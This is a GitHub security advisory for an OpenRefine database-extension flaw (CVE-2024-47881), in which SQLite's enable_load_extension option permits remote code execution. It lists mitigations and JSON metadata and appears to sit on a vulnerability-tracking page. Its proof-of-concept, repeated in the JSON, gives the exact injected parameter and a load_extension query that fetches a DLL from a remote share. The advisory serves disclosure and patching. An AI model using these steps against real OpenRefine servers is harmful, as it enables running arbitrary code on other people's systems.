GHSA-87CF-J763-VVH8
Vulnerability from github – Published: 2024-10-24 18:11 – Updated: 2024-10-24 18:11Summary
In the database extension, the "enable_load_extension" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.
The attacker needs to have network access to the OpenRefine instance.
Details
The database extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:
- Read files on local or SMB filesystems, provided they are SQLite databases.
- Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.
This seems to be the expected behavior.
However, by adding ?enable_load_extension=true to the filename, a feature is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.
Possible mitigation and hardening steps could include:
- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path
- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory
- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters
- Always using the READONLY open mode
- Explicitly setting enable_load_extension to off
- Enforcing stricter limits and similar precautions
PoC
Tested on a Windows 11 machine.
- Start OpenRefine and choose "Create project", "Database", database type "SQLite".
- Type a writable file path followed by
?enable_load_extension=true. - Click Connect. The connection should succeed.
- Use
SELECT load_extension('\\wandernauta.nl\public\libcalculator.dll');as the query. - Assuming there are no firewalls in the way, a few Windows calculators should open.
The same file is available from https://wandernauta.nl/libcalculator.dll if needed.
Impact
Remote code execution for attackers with network access to OpenRefine.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.openrefine:database"
},
"ranges": [
{
"events": [
{
"introduced": "3.4-beta"
},
{
"fixed": "3.8.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47881"
],
"database_specific": {
"cwe_ids": [],
"github_reviewed": true,
"github_reviewed_at": "2024-10-24T18:11:20Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nIn the `database` extension, the \"enable_load_extension\" property can be set for the SQLite integration, enabling an attacker to load (local or remote) extension DLLs and so run arbitrary code on the server.\n\nThe attacker needs to have network access to the OpenRefine instance.\n\n### Details\n\nThe `database` extension, with some restrictions, lets users connect to any database they wish by filling in different parts of the JDBC URL that is used. For the SQLite integration, the extension expects a file path pointing to a database file (or a place where such a file can be created). This means that users can:\n\n* Read files on local or SMB filesystems, provided they are SQLite databases.\n* Write to files on local or SMB filesystems, as long as those files are either SQLite databases or empty.\n\nThis seems to be the expected behavior.\n\nHowever, by adding `?enable_load_extension=true` to the filename, a [feature](https://www.sqlite.org/loadext.html) is toggled that additionally allows loading and executing shared libraries mentioned in queries, leading to remote code execution. On Windows specifically, those libraries may also come from shared folders.\n\nPossible mitigation and hardening steps could include:\n\n- Having users upload the SQLite database file they want to look at, storing it under some safe name, then opening that, rather than accepting a file path\n- If that is not feasible: making the path relative to, and checking that it does not escape, the workspace directory\n- If that is also not feasible: adding additional checks so that the path at least does not point to other machines or add JDBC parameters\n- Always using the READONLY open mode\n- Explicitly setting enable_load_extension to off\n- Enforcing [stricter limits](https://www.sqlite.org/security.html) and similar precautions\n\n### PoC\n\nTested on a Windows 11 machine. \n\n1. Start OpenRefine and choose \"Create project\", \"Database\", database type \"SQLite\".\n2. Type a writable file path followed by `?enable_load_extension=true`.\n3. Click Connect. The connection should succeed.\n4. Use `SELECT load_extension(\u0027\\\\wandernauta.nl\\public\\libcalculator.dll\u0027);` as the query.\n5. Assuming there are no firewalls in the way, a few Windows calculators should open.\n\nThe same file is available from https://wandernauta.nl/libcalculator.dll if needed.\n\n### Impact\n\nRemote code execution for attackers with network access to OpenRefine.",
"id": "GHSA-87cf-j763-vvh8",
"modified": "2024-10-24T18:11:20Z",
"published": "2024-10-24T18:11:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenRefine/OpenRefine/security/advisories/GHSA-87cf-j763-vvh8"
},
{
"type": "WEB",
"url": "https://github.com/OpenRefine/OpenRefine/commit/853a1d91662e7dc278a9a94a38be58de04494056"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenRefine/OpenRefine"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenRefine\u0027s SQLite integration allows filesystem access, remote code execution (RCE)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.